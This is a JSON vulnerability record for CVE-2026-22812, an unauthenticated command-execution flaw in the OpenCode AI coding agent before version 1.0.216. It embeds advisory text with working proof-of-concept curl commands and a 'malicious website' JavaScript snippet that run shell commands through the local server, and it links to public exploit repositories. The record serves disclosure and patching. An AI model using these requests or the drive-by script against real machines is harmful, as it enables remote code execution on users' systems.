{"id":"CVE-2026-22812","aliases":["EUVD-2026-2092","GHSA-vxw4-wv6m-9hhh"],"status":"published","title":"OpenCode's Unauthenticated HTTP Server Allows Arbitrary Command Execution","description":"OpenCode is an open source AI coding agent. Prior to 1.0.216, OpenCode automatically starts an unauthenticated HTTP server that allows any local process (or any website via permissive CORS) to execute arbitrary shell commands with the user's privileges. This vulnerability is fixed in 1.0.216.","severity":{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.16538,"percentile":0.97044,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-306","CWE-749","CWE-942"],"published":"2026-01-12T22:49:18Z","modified":"2026-10-28T02:31:04Z","exploits":[{"source":"pocgithub","id":"Udyz/CVE-2026-22812-Exp","title":"Udyz/CVE-2026-22812-Exp","date":"2026-01-16","url":"https://github.com/Udyz/CVE-2026-22812-Exp"},{"source":"pocgithub","id":"rohmatariow/CVE-2026-22812-exploit","title":"rohmatariow/CVE-2026-22812-exploit","date":"2026-01-16","url":"https://github.com/rohmatariow/CVE-2026-22812-exploit"},{"source":"pocgithub","id":"mad12wader/CVE-2026-22812","title":"mad12wader/CVE-2026-22812","date":"2026-01-18","url":"https://github.com/mad12wader/CVE-2026-22812"},{"source":"pocgithub","id":"0xgh057r3c0n/CVE-2026-22812","title":"0xgh057r3c0n/CVE-2026-22812","date":"2026-01-19","url":"https://github.com/0xgh057r3c0n/CVE-2026-22812"},{"source":"pocgithub","id":"barrersoftware/opencode-secure","title":"barrersoftware/opencode-secure","date":"2026-01-19","url":"https://github.com/barrersoftware/opencode-secure"},{"source":"pocgithub","id":"CayberMods/CVE-2026-22812-POC","title":"CayberMods/CVE-2026-22812-POC","date":"2026-01-20","url":"https://github.com/CayberMods/CVE-2026-22812-POC"},{"source":"pocgithub","id":"HodgeLuke/ai-agent-security-research","title":"HodgeLuke/ai-agent-security-research","date":"2026-03-29","url":"https://github.com/HodgeLuke/ai-agent-security-research"},{"source":"pocgithub","id":"ashrafzaryouh/CVE-2026-22812","title":"ashrafzaryouh/CVE-2026-22812","date":"2026-04-06","url":"https://github.com/ashrafzaryouh/CVE-2026-22812"},{"source":"pocgithub","id":"Hex-Neo/CVE-2026-22812-OpenCode-RCE-exp","title":"Hex-Neo/CVE-2026-22812-OpenCode-RCE-exp","date":"2026-04-27","url":"https://github.com/Hex-Neo/CVE-2026-22812-OpenCode-RCE-exp"},{"source":"nuclei","id":"CVE-2026-22812","title":"OpenCode \u003c 1.0.216 - Unauthenticated Remote Code Execution","type":"detection template","url":"https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-22812.yaml"}],"fixes":[{"ecosystem":"npm","package":"opencode-ai","fixed_in":["1.0.216"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"opencode-ai","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.216"}]}]},{"source":"osv","ecosystem":"npm","package":"opencode-ai","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.0.216"}]}]}],"products":[{"vendor":"anoma","product":"opencode"},{"vendor":"anomalyco","product":"opencode"}],"references":[{"url":"https://github.com/anomalyco/opencode/security/advisories/GHSA-vxw4-wv6m-9hhh","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-22812","tags":["advisory"]},{"url":"https://github.com/anomalyco/opencode/commit/7d2d87fa2c44e32314015980bb4e59a9386e858c","tags":["web"]},{"url":"https://github.com/advisories/GHSA-vxw4-wv6m-9hhh"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/22xxx/CVE-2026-22812.json","tags":["advisory"]},{"url":"https://github.com/anomalyco/opencode","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-22812","title":"OpenCode's Unauthenticated HTTP Server Allows Arbitrary Command Execution","description":"OpenCode is an open source AI coding agent. Prior to 1.0.216, OpenCode automatically starts an unauthenticated HTTP server that allows any local process (or any website via permissive CORS) to execute arbitrary shell commands with the user's privileges. This vulnerability is fixed in 1.0.216.","status":"published","published":"2026-01-12T22:49:18.325Z","modified":"2026-01-13T19:07:37.056Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-306","CWE-749","CWE-942"],"updated_at":"2026-11-02T13:39:05.585774Z"}],"euvd":[{"id":"EUVD-2026-2092","description":"OpenCode is an open source AI coding agent. Prior to 1.0.216, OpenCode automatically starts an unauthenticated HTTP server that allows any local process (or any website via permissive CORS) to execute arbitrary shell commands with the user's privileges. This vulnerability is fixed in 1.0.216.","status":"published","published":"2026-01-12T22:49:18Z","modified":"2026-01-13T19:07:37Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T19:48:52.739812Z"}],"ghsa":[{"id":"GHSA-vxw4-wv6m-9hhh","title":"OpenCode's Unauthenticated HTTP Server Allows Arbitrary Command Execution","description":"*Previously reported via email to support@sst.dev on 2025-11-17 per the security policy in [opencode-sdk-js/SECURITY.md](https://github.com/sst/opencode-sdk-js/blob/main/SECURITY.md). No response received.*\n\n### Summary\n\nOpenCode automatically starts an unauthenticated HTTP server that allows any local process—or any website via permissive CORS—to execute arbitrary shell commands with the user's privileges.\n\n### Details\n\nWhen OpenCode starts, it spawns an HTTP server (default port 4096+) with no authentication. Critical endpoints exposed:\n\n- `POST /session/:id/shell` - Execute shell commands (`server.ts:1401`)\n- `POST /pty` - Create interactive terminal sessions (`server.ts:267`)\n- `GET /file/content?path=` - Read arbitrary files (`server.ts:1868`)\n\nThe server is started automatically in `cli/cmd/tui/worker.ts:36` via `Server.listen()`.\n\nNo authentication middleware exists in `server/server.ts`. The server uses permissive CORS (`.use(cors())` with default `Access-Control-Allow-Origin: *`), enabling browser-based exploitation.\n\n### PoC\n\n**Local exploitation:**\n\n```bash\nAPI=\"http://127.0.0.1:4096\"  # update with actual port\nSESSION_ID=$(curl -s -X POST \"$API/session\" -H \"Content-Type: application/json\" -d '{}' | jq -r '.id')\ncurl -s -X POST \"$API/session/$SESSION_ID/shell\" -H \"Content-Type: application/json\" \\\n  -d '{\"agent\": \"build\", \"command\": \"echo PWNED \u003e /tmp/pwned.txt\"}'\ncat /tmp/pwned.txt  # outputs: PWNED\n```\n\n**Browser-based exploitation:**\n\nA malicious website can exploit visitors who have OpenCode running. Confirmed working in Firefox. PoC available upon request.\n\n```javascript\n// Malicious website JavaScript\nfetch('http://127.0.0.1:4096/session', {\n  method: 'POST',\n  headers: {'Content-Type': 'application/json'},\n  body: '{}'\n})\n.then(r =\u003e r.json())\n.then(session =\u003e {\n  fetch(`http://127.0.0.1:4096/session/${session.id}/shell`, {\n    method: 'POST',\n    headers: {'Content-Type': 'application/json'},\n    body: JSON.stringify({agent: 'build', command: 'id \u003e /tmp/pwned.txt'})\n  });\n});\n```\n\nNote: Chrome 142+ may prompt for Local Network Access permission. Firefox does not.\n\n### Impact\n\n**Remote Code Execution** via two vectors:\n\n1. **Local process**: Any malicious npm package, script, or compromised application can execute commands as the user running OpenCode.\n\n2. **Browser-based (confirmed in Firefox)**: Any website can execute commands on visitors who have OpenCode running. This enables drive-by attacks via malicious ads, compromised websites, or phishing pages.\n\nWith `--mdns` flag, the server binds to `0.0.0.0` and advertises via Bonjour, extending the attack surface to the entire local network.\n\n*Code analysis, CVSS scoring, and documentation assisted by Claude AI (Opus 4.5). Vulnerability verification and PoC testing performed by the reporter.*","status":"published","published":"2026-01-13T20:35:08Z","modified":"2026-01-13T20:35:09Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-306","CWE-749","CWE-942"],"updated_at":"2026-11-02T14:39:17.333958Z"}],"nvd":[{"id":"CVE-2026-22812","description":"OpenCode is an open source AI coding agent. Prior to 1.0.216, OpenCode automatically starts an unauthenticated HTTP server that allows any local process (or any website via permissive CORS) to execute arbitrary shell commands with the user's privileges. This vulnerability is fixed in 1.0.216.","status":"published","published":"2026-01-12T23:15:53.37Z","modified":"2026-06-17T10:20:28.353Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-306","CWE-749","CWE-942"],"updated_at":"2026-11-02T14:12:03.683495Z"}],"osv":[{"id":"CVE-2026-22812","title":"OpenCode's Unauthenticated HTTP Server Allows Arbitrary Command Execution","description":"OpenCode is an open source AI coding agent. Prior to 1.0.216, OpenCode automatically starts an unauthenticated HTTP server that allows any local process (or any website via permissive CORS) to execute arbitrary shell commands with the user's privileges. This vulnerability is fixed in 1.0.216.","status":"published","published":"2026-01-12T22:49:18.325Z","modified":"2026-10-28T02:31:04.251295051Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-306","CWE-749","CWE-942"],"updated_at":"2026-11-02T15:44:58.749922Z"},{"id":"GHSA-vxw4-wv6m-9hhh","title":"OpenCode's Unauthenticated HTTP Server Allows Arbitrary Command Execution","description":"*Previously reported via email to support@sst.dev on 2025-11-17 per the security policy in [opencode-sdk-js/SECURITY.md](https://github.com/sst/opencode-sdk-js/blob/main/SECURITY.md). No response received.*\n\n### Summary\n\nOpenCode automatically starts an unauthenticated HTTP server that allows any local process—or any website via permissive CORS—to execute arbitrary shell commands with the user's privileges.\n\n### Details\n\nWhen OpenCode starts, it spawns an HTTP server (default port 4096+) with no authentication. Critical endpoints exposed:\n\n- `POST /session/:id/shell` - Execute shell commands (`server.ts:1401`)\n- `POST /pty` - Create interactive terminal sessions (`server.ts:267`)\n- `GET /file/content?path=` - Read arbitrary files (`server.ts:1868`)\n\nThe server is started automatically in `cli/cmd/tui/worker.ts:36` via `Server.listen()`.\n\nNo authentication middleware exists in `server/server.ts`. The server uses permissive CORS (`.use(cors())` with default `Access-Control-Allow-Origin: *`), enabling browser-based exploitation.\n\n### PoC\n\n**Local exploitation:**\n\n```bash\nAPI=\"http://127.0.0.1:4096\"  # update with actual port\nSESSION_ID=$(curl -s -X POST \"$API/session\" -H \"Content-Type: application/json\" -d '{}' | jq -r '.id')\ncurl -s -X POST \"$API/session/$SESSION_ID/shell\" -H \"Content-Type: application/json\" \\\n  -d '{\"agent\": \"build\", \"command\": \"echo PWNED \u003e /tmp/pwned.txt\"}'\ncat /tmp/pwned.txt  # outputs: PWNED\n```\n\n**Browser-based exploitation:**\n\nA malicious website can exploit visitors who have OpenCode running. Confirmed working in Firefox. PoC available upon request.\n\n```javascript\n// Malicious website JavaScript\nfetch('http://127.0.0.1:4096/session', {\n  method: 'POST',\n  headers: {'Content-Type': 'application/json'},\n  body: '{}'\n})\n.then(r =\u003e r.json())\n.then(session =\u003e {\n  fetch(`http://127.0.0.1:4096/session/${session.id}/shell`, {\n    method: 'POST',\n    headers: {'Content-Type': 'application/json'},\n    body: JSON.stringify({agent: 'build', command: 'id \u003e /tmp/pwned.txt'})\n  });\n});\n```\n\nNote: Chrome 142+ may prompt for Local Network Access permission. Firefox does not.\n\n### Impact\n\n**Remote Code Execution** via two vectors:\n\n1. **Local process**: Any malicious npm package, script, or compromised application can execute commands as the user running OpenCode.\n\n2. **Browser-based (confirmed in Firefox)**: Any website can execute commands on visitors who have OpenCode running. This enables drive-by attacks via malicious ads, compromised websites, or phishing pages.\n\nWith `--mdns` flag, the server binds to `0.0.0.0` and advertises via Bonjour, extending the attack surface to the entire local network.\n\n*Code analysis, CVSS scoring, and documentation assisted by Claude AI (Opus 4.5). Vulnerability verification and PoC testing performed by the reporter.*","status":"published","published":"2026-01-13T20:35:08Z","modified":"2026-02-03T03:00:05.48831Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-306","CWE-749","CWE-942"],"updated_at":"2026-11-02T15:46:58.04805Z"}]}}
